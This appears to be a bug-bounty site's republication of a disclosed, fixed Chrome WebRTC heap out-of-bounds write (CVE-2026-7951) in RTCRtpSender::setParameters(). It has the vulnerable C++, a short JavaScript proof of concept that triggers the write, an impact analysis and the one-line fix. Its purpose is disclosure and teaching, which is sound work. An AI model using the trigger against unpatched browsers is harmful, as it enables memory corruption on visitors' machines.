Skip to content
Memory corruption Advisory Advanced CVE-2026-7951

Out of bounds write in WebRTC (CVE-2026-7951)

A missing return after rejecting an invalid call in RTCRtpSender::setParameters() lets execution fall through into a loop that writes past the end of a heap vector when the number of encoding options exceeds the number of encodings. Any web page using the standard WebRTC API could trigger a heap out-of-bounds write with an attacker-controlled number of iterations.

soft.connect.fr Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 41 days

A missing return after RejectWithDOMException in RTCRtpSender::setParameters() allows a heap out-of-bounds write when encodingOptions.size() > encodings.size(). The loop at line 863 is bounded by encoding_options.size() but writes into encodings[], which can be smaller or empty.

Affected Component

Blink > WebRTC > RTCRtpSender

Heap out-of-bounds write reachable from any web page via the standard WebRTC JavaScript API. No user interaction required beyond visiting the page.

Bug Details

File: third_party/blink/renderer/modules/peerconnection/rtc_rtp_sender.cc Function: RTCRtpSender::setParameters() Lines: 858–865

C++
// Line 855-866:
const auto& encoding_options = options->encodingOptions();
if (!encoding_options.empty()) {
  if (encoding_options.size() != encodings.size()) {
    resolver->RejectWithDOMException(
        DOMExceptionCode::kInvalidModificationError,
        "encodingOptions size must match number of encodings.");
    // BUG: Missing return here — execution falls through
  }
  for (wtf_size_t i = 0; i < encoding_options.size(); i++) {
    encodings[i].request_key_frame = encoding_options[i]->keyFrame();
    // ^^^ OOB write when encoding_options.size() > encodings.size()
  }
}

The size mismatch is detected at line 858 and an exception is thrown at line 859, but the code does NOT return. The for-loop at line 863 then iterates encoding_options.size() times, writing into encodings[i]. When encoding_options has more elements than encodings, this writes past the end of the Vector<webrtc::RtpEncodingParameters> heap buffer.

Proof of Concept

JavaScript
const pc = new RTCPeerConnection();
const stream = await navigator.mediaDevices.getUserMedia({audio: true});
const sender = pc.addTrack(stream.getAudioTracks()[0]);
const params = sender.getParameters();

// Set encodings to empty (0 elements)
params.encodings = [];

// Call setParameters with 3 encoding options but 0 encodings
// This triggers the OOB write: loop writes encodings[0], [1], [2]
// past the end of the empty encodings vector
try {
  await sender.setParameters(params, {
    encodingOptions: [
      {keyFrame: true},
      {keyFrame: true},
      {keyFrame: true}
    ]
  });
} catch(e) {
  // Exception is thrown but OOB write already happened
}

Impact

  1. Heap OOB write: encodings[i].request_key_frame = ... writes a bool at offset i * sizeof(webrtc::RtpEncodingParameters) past the end of the encodings vector. webrtc::RtpEncodingParameters is a large struct (~200+ bytes), so each iteration corrupts a significant chunk of adjacent heap memory.

  2. Attacker controls iteration count: The number of OOB writes equals encoding_options.size(), which is fully controlled by the attacker's JavaScript.

  3. Corrupted data used downstream: After the OOB writes, the corrupted encodings vector is passed to sender_->SetParameters() at line 869, which forwards it to the WebRTC native layer. The corrupted struct fields may cause further memory corruption or unexpected behavior in the WebRTC stack.

  4. No special permissions required: The WebRTC API (RTCPeerConnection, addTrack, setParameters) is available to any web page. getUserMedia requires user permission for the initial track, but addTrack with any MediaStreamTrack (including from createMediaStreamDestination() in WebAudio, which requires no permission) is sufficient.

Root Cause

Copy-paste error: the error handling at line 858-861 follows the pattern of other checks in the same function (e.g., line 827 HasInvalidModification check), but those other checks all have return promise; after the rejection. This one was missed.

Suggested Fix

Add return promise; after the RejectWithDOMException call:

C++
if (encoding_options.size() != encodings.size()) {
  resolver->RejectWithDOMException(
      DOMExceptionCode::kInvalidModificationError,
      "encodingOptions size must match number of encodings.");
  return promise;  // <-- ADD THIS
}

Version

Tested on Chromium 147.0.7721.0 (current ToT).

The original report as published on the Chromium issue tracker, by soft.connect.fr. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

A missing return after the rejection means the size-mismatch check does not stop execution, so the following loop iterates over the larger encoding options array while writing into the smaller encodings vector.

Impact

Each iteration writes a large struct past the end of the heap buffer, with the count controlled by the attacker, and the corrupted vector is then passed to the native WebRTC layer, which may cause further memory corruption or unexpected behaviour.

What the attacker needed

Victim visits a malicious page; WebRTC API available in browser

The fix

Add a return after the RejectWithDOMException call so the function stops before the loop runs.

How it was found

  1. Create an RTCPeerConnection and obtain a media track.
  2. Add the track to the connection to get a sender.
  3. Read the current parameters and set the encodings list to empty.
  4. Call setParameters with more encoding options than encodings, which triggers the out-of-bounds write before the exception is thrown.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a browser function detects bad input it is supposed to stop and report an error. Here it reports the error but keeps going, and then copies more items into a fixed-size list than the list can hold, spilling data into neighbouring memory. A web page can trigger this through normal WebRTC calls, and memory corruption like this can sometimes be turned into a crash or worse.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.